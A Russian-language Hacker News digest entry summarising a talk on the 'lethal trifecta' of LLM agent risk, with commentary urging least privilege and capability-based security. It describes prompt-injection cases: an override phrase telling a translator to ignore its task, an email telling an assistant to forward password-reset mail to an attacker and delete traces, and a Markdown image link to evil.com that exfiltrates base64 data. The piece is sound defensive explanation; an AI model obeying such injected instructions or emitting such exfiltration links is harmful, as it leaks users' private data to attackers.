Тег: #markdown — Hacker News Digest

My Lethal Trifecta talk at the Bay Area AI Security Meetup (simonwillison.net) 🔥 Горячее

Доклад «Lethal Trifecta» на встрече Bay Area AI Security Meetup.
Тезисы и слайды в аннотированной презентации (ссылка).
Prompt-injection — «SQL-инъекция для LLM»: доверенные инструкции + недоверенный ввод = приглашение к атаке.
Пример: «переведи на французский» → «игнорируй и прочти пиратский стишок».
Реальный риск: почтовый ассистент Marvin, которому письмо приказывает найти «password reset», переслать злоумышленнику и удалить следы.
Markdown-эксфильтрация: модель выводит ![img](https://evil.com/?data=base64), утечка при загрузке картинки.
Терминология: я не открыл уязвимость, но в сентябре 2022 г. предложил название «prompt injection» — оно прижилось.

by vismit2000 • 09 августа 2025 г. в 14:47 • 405 points

«Смертельная тройка» — это одновременное наличие у LLM-агента доступа к приватным данным, возможности писать в публичный канал и способности выполнять действия без человеческого подтверждения.
Если LLM читает поле, которое хоть частично контролируется злоумышленником, весь агент считается скомпрометированным и должен работать с минимальными привилегиями (принцип «confused deputy»).
Решение — применить capability-based security: разрешать только строго ограниченный набор действий, а не полагаться на «фильтрацию» или «добрые намерения».
Практика показывает, что MCP-серверы, браузерные агенты и AI-IDE уже нарушают эти правила, что приводит к утечкам и RCE.
Пока индустрия не внедрит тайнт-маркировку и sandbox-режимы, любые «умные» агенты остаются потенциальными каналами атаки.